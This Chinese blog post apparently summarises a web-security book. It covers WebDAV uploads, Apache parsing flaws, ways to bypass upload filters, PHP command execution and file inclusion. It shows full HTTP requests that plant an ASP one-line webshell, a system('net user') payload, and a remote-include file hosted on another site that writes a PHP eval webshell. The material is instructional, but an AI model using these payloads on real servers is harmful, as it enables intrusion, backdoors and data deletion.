《Web安全深度剖析》摘要2

目录

上传漏洞

(1)WebDav

(2)Apache解析漏洞

(3)防止上传漏洞

命令执行漏洞

文件包含漏洞

(1)远程包含文件

(2)远程包含shell

(3)PHP封装协议


上传漏洞

(1)WebDav

      WebDav(Web-based Distributed Authoringand Versioning)是一种基于HTTPI.1协议的通信协议,它扩展了HTTP协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使HTTP协议更强大。
       在开启WebDav扩展的服务器后,如果支持PUT、Move、Copy、Delete 等方法,就可能会 存在一些安全隐患,比如www.secbug.org服务器(IS6.0Web容器)支持WebDav,并且存在PUT、Move、Copy、Delete等方法,那么攻击者就可能通过PUT方法向服务器上传危险本文件,测试步骤如下。

第一步:通过OPTIONS探测服务器所支持的HTTP方法。
请求:

OPTIONS /HTTP/1.1
Host: www.secbug.org

响应:

HTTP/1.1 200 OK
Cache-Control: private
Date: Mon,19 Aug2013 09:41:45 GMT
AllOW: OPTIONS,TRACE,GET,HEAD,DELETE, COPY,MOVE,PROPFIND,PROPPATCH, SEARC
H,MKCOL,LOCK, UNLOCK
Content-Length:0
Accept-Ranges:none
Server:Microsoft-IIs/6.0
MS-Author-Via: DAV
DASL:<DAV:sql>
DAV:1,2
Public:OPTIONS,TRACE,GET,HEAD, DELETE, PUT, POST, COPY,MOVE,MKCOL,PROPFIN
D, PROPPATCH,LOCK, UNLOCK, SEARCH
Set-Cookie:_D_SID-89113465;path=/

第二步:通过PUT方法向服务器上传脚本文件。

请求:

PUT /a.txt HTTP/1.1
Host: www.secbug.org
Content-Length: 30

<%eval request("chopper")%>

响应:

HTTP/1.1 200 OK
Date: Mon,19 Aug2013 09:48:10 GMT
AllOW: OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH, 
SEARCH,MKCOL,LOCK, UNLOCK
Content-Length:0
Location: http://www.secbug.org/a.txt
Server: Microsoft-IIs/6.0

第三步: 通过Move 或 Copy 方法改名。

请求:

COPY /a.txt HTTP/1.1
Host: www.secbug.org
Destionation: http://www.secbug.org/cmd.asp

响应:

HTTP/1.1 200 Created
Cache-Control: private
Date: Mon,19 Aug2013 09:53:43 GMT
AIlOW: OPTIONS,TRACE,GET,HEAD,DELETE,PUT,COPY,MOVE,PROPFIND,PROPPATCH, 
SEARCH,MKCOL,LOCK, UNLOCK
Content-Type: text/html
Location: http://www.secbug.org/cmd.jsp
Server: Microsoft-IIs/6.0

通过这三个步骤,攻击者可以轻易获取一个WebShell,若服务器开启了DELETE方法, 攻击者还可以删除服务器上的任意文件。

请求:

DELETE /HTTP/1.1
Host: www.secbug.org

响应:

HTTP/1.1 200 OK
Date: Mon,19 Aug2013 10:02:08 GMT
Content-Length:0
Server: Microsoft-IIs/6.0
Set-Cookie:_D_SID-89113465;path=/

(2)Apache解析漏洞

        Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码,比如: 1.php.rar.xs.aa ,Apache首先会解析aa扩展名,如果不认识,将会解析xs扩展名,这样一直遍历到认识的扩展名为止,然后再将其解析。


(3)防止上传漏洞

程序员在防止上传漏洞时可以分为两种:

  • 客户端检测:客户端使用JavaScript检测,在文件上传时,就对文件进行验证。
  • 服务器检测:服务器脚本一般会检测文件的MIMIE类型,检测文件扩展名是否合法,甚至有些程序员检测文件是否有恶意代码。

 “图片一句话”则是将一句话木马插入在图片文件中,而且不损坏图片文件,专业制作软件:Edjpgcom,将图片拖入Edjpgcom.exe的程序中,填写相应的一句话代码,就可以完成一句话木马。

客户端检测

        使用BurpSuite拦截上传数据,再将其中的扩展名修改,就可以绕过客户端验证。

PS:HTTP协议中的请求头Content-Length,代表实体正文长度,如果此时的filename修改了也就意味着实体正文长度增加或者减少了,这时就应该修改Content-Length请求头,如Content-Length长度为200,把文件流中的filename="xxser.jpg" 修改为filename="1.php" ,更改后,实体正文减少了4个字节,所以需要把Content-Length修改为196,如果不修改,上传可能失败。 

服务端检 

        主要是:白名单与黑名单过滤、文件类型检测、文件重命名等操作,但是上传漏洞+解析漏洞可以绕过大多数上传验证。

PS:在Window 系统上,如果文件以 “.” 或者空格作为结尾,系统会自动去除 “.” 与空格,利用此特性也可以绕过黑名单验证。如上传“asp.”或者“asp ”扩展名程序,服务器端接收文件后在写文件操作时,Window 将会自动去除小数点和空格。


命令执行漏洞

PHP命令执行

<1>代码执行

        PHP中提供了一个叫eval函数,eval()函数可以把字符串按照PHP代码来执行,使用eval()函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。

<2>动态函数调用

<?php 
    function A(){
        return "A()函数....";
    }

    function B(){
        return "B()函数....";
    }
    
    $fun = $_REQUEST['fun'];
    echo $fun();    //动态调用函数

PHP解析器可以根据$fun的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A();如果$fun的值为phpinfo将打开phpinfo页面,如果还给函数传递参数,如下代码:

<?php
    $fun = $_GET['fun'];
    $par = $_GET['par'];
?>

那么传入参数fun=system&par=net user,最终执行的函数为system("net user"),则将能查看所有用户。


文件包含漏洞

(1)远程包含文件

        只要文件内容符合PHP语法,那么任何扩展名都可以被PHP解析,包含非PHP语法规范源文件时,将会暴露源代码。PHP不仅可以对本地文件进行包含,还可以对远程文件进行包含,当php.ini文件中 allow_url_include=on 时,远程包含功能生效。

例如,http://www.xx2cto.com/根目录下存在php,源代码如下:

<?php
echo "hello world";
?>

Index.php代码如下:

<?php
include($_GET['page']);
?>

访问 URL:http://www.xxser.com/Index.php?page=http://www.2cto.com/php.txt,执行结果为屏幕显示 hello world

(2)远程包含shell

        如果目标主机 allow_url_open 选项是激活的,就可以尝试远程包含一句话木马。

例如:http://www.2cto.com/echo.txt,代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

访问 URL:http://www.xxser.com/Index.php?page=http://www.2cto.com/echo.txt,将会在Index.php所在的目录下生成shell.php,内容为:

<?php eval($_POST[xxser]);?>
(3)PHP封装协议

        写入PHP文件,使用php://input 可以执行 PHP 语句,但使用这条语句时需要注意: php://input 受限于 allow_url_include ,需要激活时才能使用。

例如:构造URL:http://www.xxser.com/Index.php?page=php://input,并提交数据为:

<?php system("net user")?>

如果提交<?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>语句,将会在Index.php所在的目录下生成shell.php。一般在抓包拦截里传一句话木马。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值